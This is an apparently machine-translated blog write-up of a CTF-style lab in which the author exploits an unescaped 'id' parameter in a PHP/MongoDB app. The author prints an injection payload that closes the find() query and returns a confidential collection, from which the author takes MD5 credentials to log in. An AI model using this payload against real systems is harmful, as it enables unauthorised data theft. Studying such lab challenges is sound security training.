当前位置:网站首页>Mexican SQL manual injection vulnerability test (mongodb database) problem solution
Mexican SQL manual injection vulnerability test (mongodb database) problem solution
2022-07-06 09:55:00 【zr1213159840】
The environment of the topic is Nginx+PHP+MongoDB. And the following code is given 
In terms of the investigation knowledge points of the topic , That's it MD5 value .
First, let's open the link , Discovery is the user login interface ( If not, please wait a moment ), Then as usual , Click on the notice , Find out id Information about 
Let's read the code , stay query This part , hold id After inserting , Directly returned the queried data.
User entered id The value of is directly inserted into the database without any escape , In this place, we can id The value of is
1'});
In this way, the query statement becomes
db.notice.find({
'id':'1'})'})
You can see that the back part is filtered , Then if it is modified to the following part
id=1'}); return ({title:tojson(db.Authority_confidential.find()[1]),2: 1
The assembled statement is
db.notice.find({
'id':'1'}); return ({
title:tojson(db.Authority_confidential.find()[1]),2: 1'})
find The function finds all the data ,tojson Yes convert to json Format , So we can find out all Authority_confidential Data in the library , The effect is as follows 
Take a look md5 value , Then log in , Get key
边栏推荐
- 竞赛vscode配置指南
- CANoe下载地址以及CAN Demo 16的下载与激活,并附录所有CANoe软件版本
- C杂讲 文件 初讲
- CANoe的数据回放(Replay Block),还是要结合CAPL脚本才能说的明白
- 大学C语言入门到底怎么学才可以走捷径
- The real future of hardware engineers may not be believed by you if I say so
- 51单片机进修的一些感悟
- Canoe CAPL file operation directory collection
- Control the operation of the test module through the panel in canoe (primary)
- Selection of software load balancing and hardware load balancing
猜你喜欢

51单片机进修的一些感悟

在CANoe中通過Panel面板控制Test Module 運行(初級)

五月集训总结——来自阿光

A wave of open source notebooks is coming

Redis distributed lock implementation redison 15 questions

MapReduce instance (V): secondary sorting
![[flask] crud addition and query operation of data](/img/fc/7a12ede31befed5f42b32b94ae5ecf.jpg)
[flask] crud addition and query operation of data

Several silly built-in functions about relative path / absolute path operation in CAPL script

Research and implementation of hospital management inpatient system based on b/s (attached: source code paper SQL file)

CAPL 脚本对.ini 配置文件的高阶操作
随机推荐
竞赛vscode配置指南
【深度学习】语义分割:论文阅读(NeurIPS 2021)MaskFormer: per-pixel classification is not all you need
Defensive C language programming in embedded development
Hugo blog graphical writing tool -- QT practice
五月刷题26——并查集
June brush question 01 - array
Several ways of MySQL database optimization (pen interview must ask)
C杂讲 文件 初讲
大学C语言入门到底怎么学才可以走捷径
May brush question 02 - string
The replay block of canoe still needs to be combined with CAPL script to make it clear
CANoe仿真功能之自动化序列(Automation Sequences )
Regular expressions are actually very simple
Une grande vague d'attaques à la source ouverte
[CV] target detection: derivation of common terms and map evaluation indicators
CANoe CAPL文件操作目录合集
嵌入式开发比单片机要难很多?谈谈单片机和嵌入式开发设计经历
零基础学习单片机切记这四点要求,少走弯路
May brush question 27 - figure
NLP路线和资源